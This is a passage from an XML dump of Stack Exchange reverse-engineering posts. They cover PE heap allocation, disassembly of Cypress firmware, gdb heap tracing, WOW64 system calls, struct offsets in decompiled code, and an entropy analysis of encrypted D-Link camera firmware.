CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14851" PostTypeId="2" ParentId="4642" CreationDate="2017-03-08T09:14:06.017" Score="0" Body="&lt;p&gt;There's also &lt;a href=&quot;https://github.com/frranck/asm2c&quot; rel=&quot;nofollow noreferrer&quot;&gt;asm2c&lt;/a&gt; that works on assembly source code instead of executables or objects files.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Swift tool to transform DOS/PMODEW 386 TASM Assembly code to C code&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16056" LastEditorUserId="16056" LastEditDate="2017-03-08T09:39:22.033" LastActivityDate="2017-03-08T09:39:22.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14852" PostTypeId="1" AcceptedAnswerId="14853" CreationDate="2017-03-08T09:48:16.323" Score="3" ViewCount="2142" Body="&lt;p&gt;I've been researching the Portable Executable format and one great work I've been reading is &quot;ARTeam PE file format Tutorial&quot; which is a collection of research from Michael J'OLeary, Randy Kath, Matt Pietrek, and many more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, one thing that I've noticed is absent is how and where the heap gets allocated for a program. Is it in one of the 9 standard sections such as &lt;code&gt;.bss&lt;/code&gt; or &lt;code&gt;.data&lt;/code&gt; or is it attached to the end of all sections at run-time by the loader?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume, since it's the heap which is dynamic memory, that it is not specified anywhere in the actual PE, but if I want to scan the heap for data, how would I get the memory address space?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I would like answers to the following questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;how and where the heap gets allocated for a program?&lt;/li&gt;&#xA;&lt;li&gt;If I want to scan the heap for data, how would I get the memory address space?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="2147" LastEditDate="2017-03-08T12:59:54.663" LastActivityDate="2017-03-08T12:59:54.663" Title="PE file format: How can I find the heap memory space in a running WinNT program?" Tags="|windows|memory|pe|heap|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14853" PostTypeId="2" ParentId="14852" CreationDate="2017-03-08T11:05:20.177" Score="4" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; The heap, stack and other &lt;em&gt;PE loader&lt;/em&gt; related tasks are not part of the PE standard or definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;General Information&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the PE file does not describe the entire memory space of an executable. It only contains the data required to execute a program, and the OS keeps the right to add additional regions without the user's awareness. Things such as the heap, the stack and other internal memory regions required for a process to function and operate are not the responsibility of a PE file (or any executable file for that matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PE doesn't define a heap, it requests a heap to be allocated for it from the OS (&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa374721(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;AllocateHeap&lt;/code&gt;&lt;/a&gt; is a Windows API that does that). There's no need to actually eat up space for a heap &quot;placeholder&quot; in the PE file. The same goes for the stack, the PEB, and other memory objects a process has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, a user(i.e. programmer) does not usually need to even call &lt;code&gt;AllocateHeap&lt;/code&gt; for it's process to have a heap. OSes usually allocate a default heap for the process when loading it (either by the loader itself or by startup code the OS runs before control is given to the PE's Entry Point). Other times the compiler prefixes the code with code that allocates a heap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similarly, the stack is allocated as part of the process creation, and is not part of the PE or defined by it. This is mandatory, for a process cannot exist without a stack (although the PE can set the &lt;em&gt;size&lt;/em&gt; of the allocated stack).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in learning about the NT Loader (and the PE file format), I suggest you take a look at the following articles and resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.microsoftpressstore.com/articles/article.aspx?p=2233328&quot; rel=&quot;nofollow noreferrer&quot;&gt;Processes, Threads, and Jobs in the Windows Operating System By Mark E. Russinovich and David A. Solomon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.microsoft.com/msj/0999/hood/hood0999.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Under the Hood by Matt Pietrek&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/magazine/bb985992.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peering Inside the PE: A Tour of the Win32 Portable Executable File Format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;The &quot;An In-Depth Look into the Win32 Portable Executable File Format&quot; series: &lt;a href=&quot;https://msdn.microsoft.com/en-us/magazine/bb985992.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Part 1&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/en-us/magazine/bb985994.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Part 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might have already read some of the, but I included most of them for future reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of information about the heap and other types of memory are part of the (relatively big) topic of Memory Management in windows and you may want to also dive into that, here are are few articles about the heap and memory management:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://Heap:%20Pleasures%20and%20Pains&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/ms810466.aspx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366711(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Heap memory functions, msdn&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms810603.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Managing Heap Memory&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Technical questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;how and where the heap gets allocated for a program?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Heaps are memory pages &lt;em&gt;reserved&lt;/em&gt; and &lt;em&gt;committed&lt;/em&gt; upon creation (of the heap). The OS assigns designated pages and those are on the actual RAM and/or &lt;a href=&quot;https://en.wikipedia.org/wiki/Paging&quot; rel=&quot;nofollow noreferrer&quot;&gt;Page File&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I mentioned before, a process can have multiple heaps (but always has at least one, default, heap). Additional heaps are allocated and freed by the process at run-time, and a process can have a different amount of heaps depending to run-time logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See above for a short description of how the default heap (or, more precisely the first heap, as a process may change it's default heap to a heap later allocated) is created.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;If I want to scan the heap for data, how would I get the memory address space?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This slightly depends on the purpose and specific reasons and type of data you want to scan for. If you want to scan for data anywhere in the process's memory, you should use &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366902(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;VirtualQuery&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366907(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;VirtualQueryEx&lt;/code&gt;&lt;/a&gt; for all &lt;em&gt;committed&lt;/em&gt; memory pages. This won't only let you scan all available heaps, but will also let you scan the stack, the PE sections, and other memory used by the program (for example, pages allocated directly with &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;VirtualAlloc&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get the address range of a specific (or several heaps), you'll need to use some &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366711(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Heap memory functions, msdn&lt;/a&gt; such as &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366569(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GetProcessHeap&lt;/code&gt;&lt;/a&gt; &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa366571(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GetProcessHeaps&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2017-03-08T11:53:54.513" LastActivityDate="2017-03-08T11:53:54.513" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14854" PostTypeId="1" CreationDate="2017-03-08T13:02:55.517" Score="0" ViewCount="585" Body="&lt;p&gt;I have a firmware in bin format belongs to Cypress CY7C638xx based gadget.&#xA;This chip is Low Speed USB Peripheral Controller containing a 8-bit MCU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to analyse that firmware to reverse it. I could not find any disassembler for that target. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am planning to dissassemble byte by byte using instruction set. I know it is very tedious and cumborsome work and prone to errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another better way?&lt;/p&gt;&#xA;" OwnerUserId="19426" LastEditorUserId="60" LastEditDate="2017-03-10T15:00:32.990" LastActivityDate="2017-03-10T15:00:32.990" Title="How to dissassemble Cypress MCU based firmware?" Tags="|disassembly|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14855" PostTypeId="1" AcceptedAnswerId="14858" CreationDate="2017-03-08T17:18:09.997" Score="0" ViewCount="757" Body="&lt;p&gt;In windbg, we can use &quot;!heap -p -a [address]&quot; to show the stacktrace when the heap was allocated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In gdb, especially for kernel debugging, there is any way to achieve the same thing in linux?&lt;/p&gt;&#xA;" OwnerUserId="19435" LastActivityDate="2017-03-09T12:44:36.067" Title="Given a heap address, can gdb show which function allocated the heap at this address?" Tags="|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14856" PostTypeId="2" ParentId="6121" CreationDate="2017-03-09T01:21:30.230" Score="0" Body="&lt;p&gt;You're most likely using a process dump.  those addresses would depend on the Windows version and service pack.  If you had a chance to run it in a VM, try volatility.  do a procdump then impscan.  impscan can give you an idc that renames those addresses to their respective API names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this method works well even with non-PE injected codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/volatilityfoundation/volatility/wiki/Command%20Reference%20Mal#impscan&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/volatilityfoundation/volatility/wiki/Command%20Reference%20Mal#impscan&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19438" LastActivityDate="2017-03-09T01:21:30.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14857" PostTypeId="2" ParentId="14854" CreationDate="2017-03-09T06:08:02.643" Score="1" Body="&lt;p&gt;doesn't the CY7C638xx have a M8C CPU? When so, did you try this project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jcwren/m8cdis&quot; rel=&quot;nofollow noreferrer&quot;&gt;M8cdis - A disassembler for the Cypress PSoC 1 M8C processor family&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems older, but the instruction set should still be the same.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-09T06:08:02.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14858" PostTypeId="2" ParentId="14855" CreationDate="2017-03-09T12:44:36.067" Score="0" Body="&lt;p&gt;AFAIK Windbg relies on the user-mode stack trace database provided by the kernel/ntdll. I think there is nothing similar built-in into Linux, but you can try some third-party tools, e.g. &lt;a href=&quot;http://milianw.de/blog/heaptrack-a-heap-memory-profiler-for-Linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;heaptrack&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-09T12:44:36.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14859" PostTypeId="2" ParentId="14848" CreationDate="2017-03-09T15:58:04.483" Score="-1" Body="&lt;p&gt;You can use a kernel debugger and set a hardware breakpoint on that region to catch accesses to it (accesses by the kernel can't be trapped by a usermode debugger). Hopefully that will give you some clues.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-09T15:58:04.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14861" PostTypeId="1" AcceptedAnswerId="14868" CreationDate="2017-03-09T16:30:40.497" Score="-1" ViewCount="2179" Body="&lt;p&gt;I tried extract the firmware image from the binary file available at the &lt;a href=&quot;http://support.dlink.com/ProductInfo.aspx?m=DCS-4603&quot; rel=&quot;nofollow noreferrer&quot;&gt;D-Link DCS-4603 Vigilance Full HD PoE Dome Network Camera technical support page&lt;/a&gt;  it by using &lt;code&gt;binwalk&lt;/code&gt; but failed. Is there another way to extract the firmware? Or is there another tool that I can use? Or you can guide my extraction efforts?&lt;/p&gt;&#xA;" OwnerUserId="17777" LastEditorUserId="18317" LastEditDate="2017-03-10T09:41:40.650" LastActivityDate="2017-03-10T09:41:40.650" Title="How to extract D-Link DCS-4603 camera firmware" Tags="|binary-analysis|firmware|decompress|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14862" PostTypeId="2" ParentId="4817" CreationDate="2017-03-09T17:38:42.347" Score="0" Body="&lt;p&gt;You can do cat &lt;code&gt;/proc/mtd&lt;/code&gt; for the exact &quot;image&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat /proc/mtd &#xA;dev:    size   erasesize  name&#xA;mtd0: 01000000 00001000 &quot;whole_flash&quot;&#xA;mtd1: 00020000 00001000 &quot;bootloader&quot;&#xA;mtd2: 00060000 00001000 &quot;userconfig&quot;&#xA;mtd3: 004c0000 00001000 &quot;filesystem1&quot;&#xA;mtd4: 00300000 00001000 &quot;kernel1&quot;&#xA;mtd5: 00300000 00001000 &quot;kernel2&quot;&#xA;mtd6: 004c0000 00001000 &quot;filesystem2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2017-03-09T17:38:42.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14865" PostTypeId="1" AcceptedAnswerId="14870" CreationDate="2017-03-09T21:03:38.450" Score="7" ViewCount="2068" Body="&lt;p&gt;I'm currently working on taking apart a game (Soul Reaver: Legacy of Kain) and I often come across odd looking sections such as this in the decompiler&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  *(_DWORD *)(a2 + 16) = a2 + 624;&#xA;  *(_DWORD *)(a2 + 38200) = a2 + 8;&#xA;  *(_DWORD *)(a2 + 20) = 0;&#xA;  *(_DWORD *)(a2 + 37592) = 0;&#xA;  *(_DWORD *)(a2 + 37596) = a2 + 36968;&#xA;  *(_DWORD *)(a1 + 8) = a2;&#xA;  *(_DWORD *)a1 = 0;&#xA;  *(_DWORD *)(a1 + 4) = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These appear to me to be offsets in a struct, but some of the offsets make little sense, e.g. &lt;code&gt;36968&lt;/code&gt;. I'm aware that it is quite difficult to be sure, but some pointers in the correct direction would be much appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assembly for those who want it :)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:004B0126                   xor     esi, esi&#xA;.text:004B0128                   mov     [ecx+10h], eax&#xA;.text:004B012B                   lea     eax, [ecx+8]&#xA;.text:004B012E                   mov     [ecx+9538h], eax&#xA;.text:004B0134                   mov     eax, [esp+4+arg_0]&#xA;.text:004B0138                   lea     edx, [ecx+9068h]&#xA;.text:004B013E                   mov     [ecx+14h], esi&#xA;.text:004B0141                   mov     [ecx+92D8h], esi&#xA;.text:004B0147                   mov     [ecx+92DCh], edx&#xA;.text:004B014D                   mov     [eax+8], ecx&#xA;.text:004B0150                   mov     [eax], esi&#xA;.text:004B0152                   mov     [eax+4], esi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19446" LastEditorUserId="19446" LastEditDate="2017-03-09T21:09:14.057" LastActivityDate="2023-02-02T10:56:55.297" Title="Identifying possible structs in C/C++ disassembly" Tags="|decompilation|c++|c|struct|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14867" PostTypeId="2" ParentId="14848" CreationDate="2017-03-10T03:01:49.317" Score="7" Body="&lt;p&gt;This doesn't happen during the system call. It happens in user-mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WOW64 processes have two user-mode stacks - a 32-bit stack, which is the one you normally use, and a 64-bit stack. The WOW64 ntdll does not make system calls. Where the native 32-bit ntdll would &lt;code&gt;sysenter&lt;/code&gt; (via an indirect call to &lt;code&gt;SharedUserData!SystemCallStub&lt;/code&gt;) the WOW64 ntdll has an indirect call to &lt;code&gt;wow64cpu!X86SwitchTo64BitMode&lt;/code&gt; (&lt;code&gt;call dword ptr fs:[0C0h]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function makes a far jump with a special selector that causes the switch from 32-bit mode to 64-bit mode. Then the WOW64 layer makes copies of the arguments, widening whatever is necessary, etc. and proceeds to make the real system call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to bet you used a 32-bit debugger to debug your WOW64 process, and a 32-bit debugger doesn't show the mode transition. It can't. But that still happened in user-mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any most basic source on WOW64 would tell you that, and you should be able to guess that on your own. It's &lt;em&gt;far&lt;/em&gt; more reasonable for a user-mode component to take care of the mode transitions and keep the kernel 64-bit only rather than have the kernel handle system calls from both 32-bit and 64-bit modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The MSDN page &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/aa384274(v=vs.85).aspx&quot; rel=&quot;noreferrer&quot;&gt;WOW64 Implementation Details&lt;/a&gt; practically says both these things:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Instead of using the x86 system-service call sequence, 32-bit binaries that make system calls are rebuilt to use a custom calling sequence. This calling sequence is inexpensive for WOW64 to intercept because it remains entirely in user mode. When the custom calling sequence is detected, the WOW64 CPU transitions back to native 64-bit mode and calls into Wow64.dll. Thunking is done in user mode to reduce the impact on the 64-bit kernel and to reduce the risk of a bug in the thunk that might cause a kernel-mode crash, data corruption, or a security hole. &lt;em&gt;The thunks extract arguments from the 32-bit stack, extend them to 64 bits, then make the native system call.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Emphasis on the last sentence is mine. It doesn't explicitly say that the extraction and expansion of arguments is done on a separate stack, but it's not a wild guess to make.&lt;/p&gt;&#xA;" OwnerUserId="3939" LastActivityDate="2017-03-10T03:01:49.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14868" PostTypeId="2" ParentId="14861" CreationDate="2017-03-10T04:19:08.847" Score="4" Body="&lt;p&gt;&lt;strong&gt;Recommendation: since the firmware is obfuscated, recover the bootloader&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware may be encoded, compressed, encrypted, or some combination of these. In order for the firmware image to be loaded into memory and execute, it must be deobfuscated. Since the bootloader is responsible for this, it is likely that deobfuscation of the binary file containing the firmware image is performed by a routine or set of routines within the bootloader. Locating the code handling deobfuscation will enable you to deobfuscate the binary file containing the firmware image yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recovering the bootloader requires access to the hardware. Several resources exist that will guide you in your efforts to dump the bootloader from the hardware as well as locate the deobfuscation code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering Serial Ports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reversing the WRT120N’s Firmware Obfuscation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.vectranetworks.com/blog/turning-a-webcam-into-a-backdoor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Turning a Webcam Into a Backdoor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.vectranetworks.com/blog/belkin-analysis&quot; rel=&quot;nofollow noreferrer&quot;&gt;Belkin F9K1111 V1.04.10 Firmware Analysis&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3526/how-do-i-extract-a-copy-of-an-unknown-firmware-from-a-hardware-device?rq=1&quot;&gt;How do I extract a copy of an unknown firmware from a hardware device?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Analysis&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are 2 firmware versions available for download at the page in the link provided: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;version 1.00.00&lt;/li&gt;&#xA;&lt;li&gt;version 1.01&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Both were analyzed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary files are named &lt;code&gt;DCS-4603_A1_FW_V1.00.00.bin&lt;/code&gt; (version 1.00) and &lt;code&gt;DCS-4603_A1_FW_V1.01.00.bin&lt;/code&gt; (version 1.01) when the packages containing them are unzipped. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both files are approximately 15MB each, with version 1.01 being slightly larger than version 1.00:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;15521100 DCS-4603_A1_FW_V1.00.00.bin&#xA;15848708 DCS-4603_A1_FW_V1.01.00.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. &lt;code&gt;strings&lt;/code&gt; and &lt;code&gt;hexdump&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preliminary analysis using &lt;code&gt;strings -n&lt;/code&gt; and &lt;code&gt;hexdump -C&lt;/code&gt; did not reveal beyond the absence of ASCII strings in either ~15MB file as well as no discernible file header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Entropy Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entropy was consistently high throughout both files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DCS-4603_A1_FW_V1.00.00.bin&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RxGaf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RxGaf.png&quot; alt=&quot;version 1.00 entropy binwalk&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;DCS-4603_A1_FW_V1.01.00.bin&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/irjP4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/irjP4.png&quot; alt=&quot;version 1.01 entropy binwalk&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A smooth entropy line and consistent entropy level throughout tends to indicate encryption. Reference: &lt;a href=&quot;http://www.devttys0.com/2013/06/differentiate-encryption-from-compression-using-math/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Differentiate Encryption From Compression Using Math&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As can be seen in the plots above, there was a perturbation in the entropy level in both files at offset ~0x002EB870. This was investigated further in when both files were diffed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These plots also show that there are no areas of very low entropy in between areas of higher entropy. Such low entropy areas can indicate padding between different types of data in the binary file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Diffing the Binary Files&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are at least 2 interesting regions of commonality between the 2 binary files: the region between offset 0x00000000 and 0x000068F0 and the site of the perturbation revealed in the entropy plots above, the region between offsets 0x002EB870 and 0x002ED320.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diff of region between offsets 0x00000000 and 0x000068F0 (length of 26864 bytes):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mzmfD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mzmfD.png&quot; alt=&quot;begin common region 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lgM10.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lgM10.png&quot; alt=&quot;end common region 1&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first four bytes, &lt;code&gt;73 00 2E 30&lt;/code&gt;, may be a signature of some kind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diff of region between offsets 0x002EB870 and 0x002ED320 (length of 6832 bytes):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fc874.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fc874.png&quot; alt=&quot;begin common region 2 - site of entropy perturbation&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/pUa4Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pUa4Z.png&quot; alt=&quot;end common region 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my (very) inexperienced eye, these relatively large regions of commonality suggest compression or encoding rather than encryption of similar underlying data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final observation: D-Link's documentation for the camera explicitly discusses encoding capability (emphasis mine):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To maximize bandwidth efficiency and improve image quality, the DCS-4603 provides real-time video compression using the &lt;strong&gt;H.264 and MJPEG codecs&lt;/strong&gt;, and supports separate profiles for simultaneous video streaming and recording. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, this my not play any role in how the binary file containing the firmware image is obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The fastest way to decode the binary file in order to extract the firmware image seems to be dumping the bootloader and analyzing it to pinpoint the obfuscation routine(s). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is there another tool that I can use?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rampageX/firmware-mod-kit/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware mod kit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://aluigi.altervista.org/mytoolz/signsrch.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;Signsrch&lt;/a&gt; (Windows exe)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://seclists.org/fulldisclosure/2007/Jun/244&quot; rel=&quot;nofollow noreferrer&quot;&gt;deezee&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2017-03-10T04:24:41.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
